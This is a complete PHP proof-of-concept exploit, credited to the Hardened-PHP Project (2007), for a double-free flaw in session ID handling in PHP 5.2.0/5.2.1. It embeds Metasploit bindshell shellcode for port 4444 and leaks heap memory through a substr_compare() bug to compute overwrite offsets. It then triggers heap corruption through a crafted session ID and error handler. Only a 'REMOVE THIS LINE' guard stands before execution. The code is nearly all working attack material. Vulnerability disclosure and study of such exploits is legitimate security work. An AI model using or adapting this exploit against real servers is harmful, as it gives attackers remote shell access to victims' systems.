PHP 5.2.0/5.2.1 Rejected Session ID Double Free Exploit
[code]<?php////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 5 Rejected Session ID Double Free Exploit //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
// linux x86 bindshell on port 4444 from Metasploit
$shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
"\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
"\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
"\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
"\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
"\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
"\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";
// Offsets used for the overwrite (will be overwritten by findOffsets()
$offset_1 = 0x55555555;
$offset_2 = 0x08048040;
if (PHP_VERSION < "5.2.0") {
die ("Only works with PHP >= 5.2.0");
}
findOffsets(); // Comment out if you want to just test the crash
// Convert offsets into strings
$addr1 = pack("L", $offset_1);
$addr2 = pack("L", $offset_2);
define("C0", $addr1[0]);
define("C1", $addr1[1]);
define("C2", $addr1[2]);
define("C3", $addr1[3]);
define("M0", $addr2[0]);
define("M1", $addr2[1]);
define("M2", $addr2[2]);
define("M3", $addr2[3]);
$c=1;
function myErrorHandler()
{
global $c;
if ($c==1) { $c=0; return true; }
session_id(str_repeat("A", 100));
$GLOBALS['str'] = str_repeat("A", 39);
for ($i=0; $i<7; $i++) {
$GLOBALS['str'][$i*4+0] = M0;
$GLOBALS['str'][$i*4+1] = M1;
$GLOBALS['str'][$i*4+2] = M2;
$GLOBALS['str'][$i*4+3] = M3;
}
$GLOBALS['str'][8*4+0] = C0;
$GLOBALS['str'][8*4+1] = C1;
$GLOBALS['str'][8*4+2] = C2;
$GLOBALS['str'][8*4+3] = C3;
return true;
}
function doit()
{
ini_set("session.hash_bits_per_character", 666);
error_reporting(E_ALL);
set_error_handler("myErrorHandler");
session_id(str_repeat(":", 39));
session_start();
}
doit();
// This function uses the substr_compare() vulnerability
// to get the offsets.
function findOffsets()
{
global $offset_1, $offset_2, $shellcode;
// We need to NOT clear these variables,
// otherwise the heap is too segmented
global $memdump, $d, $arr;
$sizeofHashtable = 39;
$maxlong = 0x7fffffff;
// Signature of a big endian Hashtable of size 256 with 1 element
$search = "\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00";
$memdump = str_repeat("A", 4096);
for ($i=0; $i<400; $i++) {
$d[$i]=array();
}
unset($d[350]);
$x = str_repeat("\x01", $sizeofHashtable);
unset($d[351]);
unset($d[352]);
$arr = array();
for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
$arr[$shellcode] = 1;
for ($i=0; $i<129; $i++) { unset($arr[$i]); }
// If the libc memcmp leaks the information use it
// otherwise we only get a case insensitive memdump
$b = substr_compare(chr(65),chr(0),0,1,false) != 65;
for ($i=0; $i<4096; $i++) {
$y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
if ($y-$Y == 1 || $Y-$y==1){
$y = chr($y);
if ($b && strtoupper($y)!=$y) {
if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
$y = strtoupper($y);
}
}
$memdump[$i] = $y;
} else {
$y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
if ($y-$Y != 1 && $Y-$y!=1){
$memdump[$i] = chr(1);
} else {
$memdump[$i] = chr(0);
}
}
}
// Search shellcode and hashtable and calculate memory address
$pos_shellcode = strpos($memdump, $shellcode);
$pos_hashtable = strpos($memdump, $search);
$addr = substr($memdump, $pos_hashtable+6*4, 4);
$addr = unpack("L", $addr);
// Fill in both offsets
$offset_1 = $addr[1] + 32;
$offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4;
}
?>
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